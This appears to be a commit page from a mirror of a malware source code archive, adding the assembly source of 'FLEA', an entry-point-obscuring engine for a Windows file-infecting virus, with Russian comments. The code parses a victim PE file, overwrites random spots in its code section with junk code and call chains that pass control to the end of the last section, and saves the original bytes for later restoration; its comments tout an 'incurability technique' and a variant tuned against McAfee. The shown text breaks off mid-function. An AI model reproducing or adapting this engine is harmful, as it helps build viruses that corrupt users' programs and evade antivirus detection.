mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
Folder structure change, added README
This commit is contained in:
@@ -0,0 +1,775 @@
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ;
|
||||
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;
|
||||
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx ;
|
||||
; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;
|
||||
; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xx xxxx ;
|
||||
; xxxx xxxx xxxx xxxx xxxx xxxx ;
|
||||
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
|
||||
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
|
||||
; ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; UEP ENGINE ;
|
||||
; FLEA ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; :)! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; функция FLEA ;
|
||||
; уеп(уёб) движок ;
|
||||
; ;
|
||||
; ;
|
||||
;ВХОД: ;
|
||||
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже) ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;ВЫХОД: ;
|
||||
;EAX - абсолютный виртуальный адрес точки входа ;
|
||||
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;ЗАМЕТКИ: ;
|
||||
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
|
||||
;вызова данного движка остаются теми же. ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ОПИСАНИЕ СТРУКТУРЫ ;
|
||||
; UEPGEN ;
|
||||
; ;
|
||||
; ;
|
||||
;UEPGEN struct ;
|
||||
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||||
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций ;
|
||||
; mapped_addr dd ? ;база мэппинга файла (MapViewOfFile) ;
|
||||
; xsection dd ? ;IMAGE_SECTION_HEADER секции, в которую после после передать управление ;
|
||||
; reserved1 dd ? ;зарезервировано ;
|
||||
;MORPHGEN ends ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ОПИСАНИЕ СТРУКТУРЫ ;
|
||||
; T2GEN ;
|
||||
; (aka TRASHGEN) ;
|
||||
; (более детальное описание смотри в движке xTG) ;
|
||||
; ;
|
||||
; ;
|
||||
;TRASHGEN struct ;
|
||||
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||||
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
|
||||
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
|
||||
; regs dd ? ;занятые регистры (2 шт) ;
|
||||
; xmask1 dd ? ;64-битная маска для генерации ;
|
||||
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
|
||||
; beg_addr dd ? ;начальный адрес ;
|
||||
; end_addr dd ? ;конечный адрес ;
|
||||
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
|
||||
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
|
||||
;TRASHGEN ends ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN: ;
|
||||
; ;
|
||||
; ;
|
||||
;[ rgen_addr ] : ;
|
||||
; так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору, ;
|
||||
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
|
||||
; хранится в (данном) поле структуры. ;
|
||||
; ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который ;
|
||||
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
|
||||
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
|
||||
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
|
||||
; Остальные регистры должны остаться неизменными. Все. ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;[ tgen_addr ] : ;
|
||||
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
|
||||
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
|
||||
; тип-топ). ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;[ mapped_addr ] : ;
|
||||
; в этом поле хранится база мэппинга файла. Как пример, значение получаемое после ;
|
||||
; вызова функи MapViewOfFile. ;
|
||||
;--------------------------------------------------------------------------------------------------------;
|
||||
;[ xsection ] : ;
|
||||
; здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в ;
|
||||
; которую после отработки должен будет передать управление данный uep-движок. ;
|
||||
; Если здесь 0, то управление будет передано в конец последней секции. ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ЗАМЕТКИ ;
|
||||
; ;
|
||||
; ;
|
||||
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA. ;
|
||||
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется ;
|
||||
; нужному участку памяти задать атрибуты страниц на чтение+запись). ;
|
||||
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к ;
|
||||
; следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после ;
|
||||
; стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK, ;
|
||||
; в стэке не должно быть уже никаких других данных. ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; y0p! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ФИЧИ ;
|
||||
; ;
|
||||
; ;
|
||||
;(+) генерация рандомного числа пятен ;
|
||||
; ;
|
||||
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот) ;
|
||||
; ;
|
||||
;(+) техника неизлечимости ;
|
||||
; ;
|
||||
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
|
||||
; ;
|
||||
;(+) базонезависимость ;
|
||||
; ;
|
||||
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi) ;
|
||||
; ;
|
||||
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
|
||||
; * можно компилить как самостоятельный модуль; ;
|
||||
; ;
|
||||
;(+) не юзает WinAPI ;
|
||||
; ;
|
||||
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально) ;
|
||||
; ;
|
||||
;(x) использует данные и дельта-смещение. ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; y0p! ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; ;
|
||||
; ИСПОЛЬЗОВАНИЕ: ;
|
||||
; ;
|
||||
; ;
|
||||
;1) Подключение: ;
|
||||
; FLEA.asm ;
|
||||
;2) Вызов (пример stdcall): ;
|
||||
; ... ;
|
||||
; szBuf db 100 dup (00h) ;
|
||||
; ... ;
|
||||
; lea ecx,szBuf ;
|
||||
; assume ecx:ptr UEPGEN ;
|
||||
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
|
||||
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
|
||||
; mov [ecx].mapped_addr,00330000h ;по этому адресу находится база мэппинга ;
|
||||
; mov [ecx].xsection,0 ;ставим в ноль, значит уеп после передаст управление ;
|
||||
; ;на конец последней секции ;
|
||||
; ;остальные параметры обнулены. ;
|
||||
; call FLEA ;вызываем полиморфный движок ;
|
||||
; ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
;v1.0
|
||||
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
|
||||
|
||||
|
||||
|
||||
;m1x
|
||||
;pr0mix@mail.ru
|
||||
;EOF
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;========================================================================================================
|
||||
;структуры
|
||||
;========================================================================================================
|
||||
UEPGEN struct
|
||||
rgen_addr dd ?
|
||||
tgen_addr dd ?
|
||||
mapped_addr dd ?
|
||||
xsection dd ?
|
||||
reserved1 dd ?
|
||||
UEPGEN ends
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
T2GEN struct ;
|
||||
rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
|
||||
buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
|
||||
size_trash dd ? ;размер (в байтах), сколько мусора записать ;
|
||||
regs dd ? ;занятые регистры (2 шт) ;
|
||||
xmask1 dd ? ;64-битная маска для генерации ;
|
||||
xmask2 dd ? ;мусорных команд (ака фильтр) ;
|
||||
beg_addr dd ? ;начальный адрес ;
|
||||
end_addr dd ? ;конечный адрес ;
|
||||
mapped_addr dd ? ;база мэпинга ;
|
||||
reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
|
||||
T2GEN ends ;
|
||||
;========================================================================================================
|
||||
|
||||
|
||||
|
||||
|
||||
MAX_SPOTS equ 10 ;максимальное кол-во генерируемых пятен
|
||||
uportion1 equ 85 ;размер (в байтах) 1-ой порции мусора
|
||||
uportion2 equ 50 ;размер (в байтах) 2-ой порции мусора
|
||||
MIN_FIRST_PORTION equ uportion1-30 ;генерировать первую порцию мусора не меньше данного кол-ва байт
|
||||
min_jmp equ uportion1+uportion2+7+10+30 ;расстояние минимальное
|
||||
max_jmp equ min_jmp+200 ;расстояние максимальное
|
||||
|
||||
;далее идут значения для трэшгена
|
||||
begin_address equ 0 ;начальный адрес (описание смотри в xTG.asm, либо ставь нули)
|
||||
end_address equ 0 ;конечный адрес
|
||||
mask_trash1 equ 00000000000011111111110101111001b ;маска для мусора
|
||||
mask_trash2 equ 011110000b ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
FLEA: ;движок FLEA
|
||||
pushad ;сохраняем регистры
|
||||
cld
|
||||
mov ebp,esp ;[ebp+00]
|
||||
mov ebx,dword ptr [ebp+24h]
|
||||
assume ebx:ptr UEPGEN ;ebx - указатель на структуру UEPGEN
|
||||
mov esi,[ebx].mapped_addr
|
||||
assume esi:ptr IMAGE_DOS_HEADER
|
||||
add esi,[esi].e_lfanew
|
||||
push esi ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS
|
||||
lodsd
|
||||
assume esi:ptr IMAGE_FILE_HEADER
|
||||
movzx ecx,[esi].NumberOfSections
|
||||
movzx edx,[esi].SizeOfOptionalHeader
|
||||
add esi,sizeof IMAGE_FILE_HEADER
|
||||
assume esi:ptr IMAGE_OPTIONAL_HEADER
|
||||
push [esi].AddressOfEntryPoint ;[ebp-08] ;сохраняем точку входа
|
||||
push [esi].ImageBase ;[ebp-12] ;сохраняем базу
|
||||
add esi,edx
|
||||
assume esi:ptr IMAGE_SECTION_HEADER
|
||||
sub esp,(sizeof T2GEN + 4 + 80) ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN)
|
||||
mov tgen_struct,esp
|
||||
mov edx,esp
|
||||
assume edx:ptr T2GEN
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
push mask_trash1 ;пофильтруем маску для генерации трэша
|
||||
call gen_mask
|
||||
or al,1
|
||||
mov xtmask1,eax
|
||||
push mask_trash2
|
||||
call gen_mask
|
||||
or eax,01110000b
|
||||
mov xtmask2,eax
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
push [ebx].rgen_addr ;вначале заполним некоторые поля структуры TRASHGEN
|
||||
pop [edx].rgen_addr
|
||||
mov [edx].regs,0FFh
|
||||
push xtmask1
|
||||
pop [edx].xmask1
|
||||
push xtmask2
|
||||
pop [edx].xmask2
|
||||
mov [edx].beg_addr,begin_address
|
||||
mov [edx].end_addr,end_address
|
||||
push [ebx].mapped_addr
|
||||
pop [edx].mapped_addr
|
||||
xor eax,eax
|
||||
cdq
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_search_new_ep_: ;далее начинаем поиск кодовой секции
|
||||
cmp edx,[esi].VirtualAddress
|
||||
ja _search_code_sec_
|
||||
cmp eax,[esi].PointerToRawData
|
||||
ja _search_code_sec_
|
||||
mov edx,[esi].VirtualAddress ;а также сохраним новую точку входа (она будет указывать на конец последней секции)
|
||||
mov eax,[esi].PointerToRawData
|
||||
mov edi,[esi].SizeOfRawData
|
||||
mov new_ep,edx
|
||||
add new_ep,edi
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_search_code_sec_:
|
||||
push eax
|
||||
mov eax,old_ep
|
||||
mov edi,[esi].VirtualAddress
|
||||
cmp edi,eax;old_ep
|
||||
ja _nextsection_
|
||||
cmp [esi].Misc.VirtualSize,0
|
||||
jne _vsok_
|
||||
add edi,[esi].SizeOfRawData
|
||||
jmp _psok_
|
||||
_vsok_:
|
||||
add edi,[esi].Misc.VirtualSize
|
||||
_psok_:
|
||||
cmp edi,eax
|
||||
jbe _nextsection_
|
||||
sub eax,[esi].VirtualAddress
|
||||
add eax,[esi].PointerToRawData
|
||||
add eax,[ebx].mapped_addr
|
||||
mov start_addr,eax ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна
|
||||
mov codesec,esi ;а также сохраним аказатель в табличке секций на кодовую секцию
|
||||
_nextsection_:
|
||||
pop eax
|
||||
add esi,sizeof IMAGE_SECTION_HEADER
|
||||
loop _search_new_ep_
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov esi,codesec ;после вычислим конец кодовой секции
|
||||
mov eax,[esi].SizeOfRawData
|
||||
cmp eax,[esi].Misc.VirtualSize
|
||||
jbe _sizecsok_
|
||||
cmp [esi].Misc.VirtualSize,0
|
||||
je _sizecsok_
|
||||
mov eax,[esi].Misc.VirtualSize
|
||||
|
||||
_sizecsok_:
|
||||
add eax,[esi].VirtualAddress
|
||||
sub eax,old_ep
|
||||
mov size_codesec,eax
|
||||
add eax,old_ep
|
||||
mov max_codesec_addr,eax
|
||||
mov edi,imNTh
|
||||
assume edi:ptr IMAGE_NT_HEADERS
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_maxvacs_: ;далее, найдем максимальный адрес, и получится отрезок:
|
||||
;[физич. адрес точки входа ; максимальный адрес в кодовой секции]
|
||||
;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
|
||||
;И если мы перепишем их своими пятнами, то будет пыцдэт файлу
|
||||
mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress
|
||||
cmp old_ep,eax
|
||||
ja _nextdatadir_
|
||||
cmp max_codesec_addr,eax
|
||||
jb _nextdatadir_
|
||||
mov max_codesec_addr,eax
|
||||
_nextdatadir_:
|
||||
inc ecx
|
||||
cmp ecx,15
|
||||
jne _maxvacs_
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov eax,max_codesec_addr
|
||||
sub eax,[esi].VirtualAddress
|
||||
add eax,[esi].PointerToRawData
|
||||
add eax,[ebx].mapped_addr
|
||||
mov max_codesec_addr,eax ;получаем максимальный физический адрес в кодовой секции
|
||||
;Так, теперь диапазон у нас есть
|
||||
mov eax,start_addr
|
||||
mov cur_codesec_addr,eax
|
||||
|
||||
push MAX_SPOTS
|
||||
call [ebx].rgen_addr ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию
|
||||
inc eax
|
||||
mov num_spots,eax
|
||||
|
||||
call _delta_uep_
|
||||
_delta_uep_:
|
||||
pop eax
|
||||
sub eax,_delta_uep_
|
||||
lea ecx,[restore_bytes+eax]
|
||||
mov beg_rest_bytes,ecx ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами)
|
||||
|
||||
xor ecx,ecx
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_nextaddrforspots_:
|
||||
call get_jmpaddr ;получим адрес очередного пятна, на которое прыгнем
|
||||
add eax,cur_codesec_addr
|
||||
push eax
|
||||
add eax,(uportion1+uportion2+7+10) ;прибавим 2 порции мусора + max размер (mov reg,<address> call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte + 3 byte) + размер команды ret (+1 byte)
|
||||
cmp eax,max_codesec_addr ;и сравним с максимальный допустимым адресом
|
||||
pop eax
|
||||
jae _alladdrforspots_ ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла
|
||||
push eax ;иначе сохраняем в стэке адрес
|
||||
mov cur_codesec_addr,eax ;сделаем текущим адресом проверки адрес для нового пятна
|
||||
inc ecx
|
||||
cmp ecx,num_spots
|
||||
jne _nextaddrforspots_
|
||||
_alladdrforspots_:
|
||||
mov num_spots,ecx ;сохраним кол-во пятен, которые точно можно записать в кодовой секции
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
cmp cl,1
|
||||
push 0
|
||||
pop eax
|
||||
jb _enduep_ ;если ноль пятен, то выходим из движка
|
||||
mov eax,esp
|
||||
push start_addr ;будем перемешивать все полученные адреса пятен, кроме первого
|
||||
je _nomixaddr_
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
push ecx
|
||||
push eax
|
||||
call mix_addr ;перемешаем адреса пятен
|
||||
|
||||
_nomixaddr_:
|
||||
xor edx,edx
|
||||
mov edi,beg_rest_bytes
|
||||
stosb ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его
|
||||
mov cur_rest_bytes,edi
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_genspot_:
|
||||
mov edi,cur_rest_bytes
|
||||
_portion1_:
|
||||
push uportion1
|
||||
call [ebx].rgen_addr
|
||||
cmp eax,MIN_FIRST_PORTION
|
||||
jb _portion1_
|
||||
mov spot1,eax
|
||||
xchg eax,ecx
|
||||
push uportion2
|
||||
call [ebx].rgen_addr
|
||||
mov spot2,eax
|
||||
add ecx,eax
|
||||
add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)
|
||||
mov eax,ecx
|
||||
stosd ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)
|
||||
mov eax,dword ptr [esp]
|
||||
mov esi,codesec
|
||||
sub eax,[ebx].mapped_addr
|
||||
sub eax,[esi].PointerToRawData
|
||||
add eax,[esi].VirtualAddress
|
||||
add eax,base
|
||||
stosd ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты
|
||||
mov esi,dword ptr [esp]
|
||||
rep movsb ;а после сохраним байты, на место которых запишем пятно
|
||||
mov cur_rest_bytes,edi
|
||||
pop edi
|
||||
push edx
|
||||
mov edx,tgen_struct
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov [edx].buf_for_trash,edi
|
||||
mov [edx].size_trash,6 ;размер пролога
|
||||
mov [edx].xmask1,0b
|
||||
mov [edx].xmask2,100b ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)
|
||||
push edx
|
||||
call [ebx].tgen_addr ;запишем пролог (push ebp mov ebp,esp sub esp,0xXX)
|
||||
push xtmask1
|
||||
pop [edx].xmask1
|
||||
push xtmask2
|
||||
pop [edx].xmask2
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov [edx].buf_for_trash,eax
|
||||
mov eax,spot1
|
||||
mov [edx].size_trash,eax
|
||||
push edx
|
||||
call [ebx].tgen_addr ;запишем первую порцию мусора
|
||||
xchg eax,edi
|
||||
push edi
|
||||
add edi,5
|
||||
mov eax,dword ptr [esp+04]
|
||||
cmp eax,num_spots ;проверим, остался последний адрес для записи пятна?
|
||||
jne _nextspot_ ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно
|
||||
;********************************************************************************************************
|
||||
comment %
|
||||
;запись финального пятна
|
||||
mov esi,codesec ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)
|
||||
sub edi,[ebx].mapped_addr
|
||||
sub edi,[esi].PointerToRawData
|
||||
add edi,[esi].VirtualAddress
|
||||
mov ecx,[ebx].xsection
|
||||
jecxz _notxsec_
|
||||
assume ecx:ptr IMAGE_SECTION_HEADER
|
||||
sub edi,[ecx].VirtualAddress
|
||||
sub edi,[ecx].SizeOfRawData ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||||
jmp _finalcall_
|
||||
_notxsec_:
|
||||
sub edi,new_ep
|
||||
_finalcall_:
|
||||
neg edi
|
||||
xchg edi,dword ptr [esp]
|
||||
mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||||
stosb
|
||||
pop eax
|
||||
stosd
|
||||
;%
|
||||
|
||||
;comment ! ;for mcafe
|
||||
mov edi,new_ep
|
||||
mov ecx,[ebx].xsection
|
||||
jecxz _notxsec_ ;если поле пустое, значит управление после уепа передаем в конец последней секции
|
||||
assume ecx:ptr IMAGE_SECTION_HEADER
|
||||
mov edi,[ecx].VirtualAddress
|
||||
add edi,[ecx].SizeOfRawData
|
||||
_notxsec_:
|
||||
add edi,base ;а здесь строим
|
||||
xchg edi,dword ptr [esp]
|
||||
mov al,0B8h ;mov reg32,<address>
|
||||
stosb
|
||||
pop eax
|
||||
stosd
|
||||
mov al,0FFh ;call reg32
|
||||
stosb
|
||||
mov al,0D0h
|
||||
stosb
|
||||
;!
|
||||
mov [edx].buf_for_trash,edi
|
||||
mov eax,spot2
|
||||
mov [edx].size_trash,eax
|
||||
push edx
|
||||
call [ebx].tgen_addr ;2-ая порция мусора для финального пятна
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov [edx].buf_for_trash,eax
|
||||
mov [edx].size_trash,3 ;размер эпилога
|
||||
mov [edx].xmask1,0b
|
||||
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
|
||||
push edx
|
||||
call [ebx].tgen_addr ;запишем эпилог для финального пятна (mov esp,ebp pop ebp)
|
||||
mov byte ptr [eax],0C3h ;и запишем ret
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
pop edx
|
||||
jmp _endspot_ ;выходим из цикла
|
||||
;********************************************************************************************************
|
||||
;запись очередного пятна
|
||||
_nextspot_:
|
||||
sub edi,dword ptr [esp+08] ;следующий адрес
|
||||
neg edi
|
||||
xchg edi,dword ptr [esp]
|
||||
mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)
|
||||
stosb
|
||||
pop eax
|
||||
stosd
|
||||
mov [edx].buf_for_trash,edi
|
||||
mov eax,spot2
|
||||
mov [edx].size_trash,eax
|
||||
push edx
|
||||
call [ebx].tgen_addr ;2 порция мусора для очередного пятнышка
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
mov [edx].buf_for_trash,eax
|
||||
mov [edx].size_trash,3 ;размер эпилога
|
||||
mov [edx].xmask1,0b
|
||||
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
|
||||
push edx
|
||||
call [ebx].tgen_addr ;запишем эпилог для очередного пятна (mov ebp,esp pop ebp)
|
||||
mov byte ptr [eax],0C3h ;и запишем ret
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
pop edx
|
||||
inc edx
|
||||
jmp _genspot_
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_endspot_:
|
||||
mov edi,beg_rest_bytes
|
||||
mov eax,num_spots ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа)
|
||||
inc eax
|
||||
stosb
|
||||
mov eax,start_addr
|
||||
mov esi,codesec
|
||||
sub eax,[ebx].mapped_addr
|
||||
sub eax,[esi].PointerToRawData
|
||||
add eax,[esi].VirtualAddress
|
||||
add eax,base
|
||||
;--------------------------------------------------------------------------------------------------------
|
||||
_enduep_:
|
||||
mov esp,ebp
|
||||
mov dword ptr [ebp+1Ch],eax ;результат в EAX
|
||||
popad
|
||||
ret 4
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец дфункции/движка FLEA
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;функция FLEA_RESTBYTES
|
||||
;восстановление ранее сохраненных байт (на свои места)
|
||||
;ВЫХОД:
|
||||
; - делает свое дело :)
|
||||
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты)
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
FLEA_RESTBYTES:
|
||||
pushad
|
||||
cld
|
||||
call _delta_ueprest_
|
||||
_delta_ueprest_:
|
||||
pop eax
|
||||
sub eax,_delta_ueprest_
|
||||
lea esi,[restore_bytes+eax]
|
||||
push esi
|
||||
xor eax,eax
|
||||
lodsb
|
||||
xchg eax,ebx ;сохраняем в EBX кол-во записанных пятен
|
||||
mov edx,ebx
|
||||
_nextrestspot_:
|
||||
lodsd
|
||||
xchg eax,ecx ;сохраняем в ECX размер очередного пятна
|
||||
lodsd
|
||||
xchg eax,edi ;сохраняем в EDI адрес, где находится очередное пятно
|
||||
rep movsb ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты
|
||||
dec ebx
|
||||
jne _nextrestspot_
|
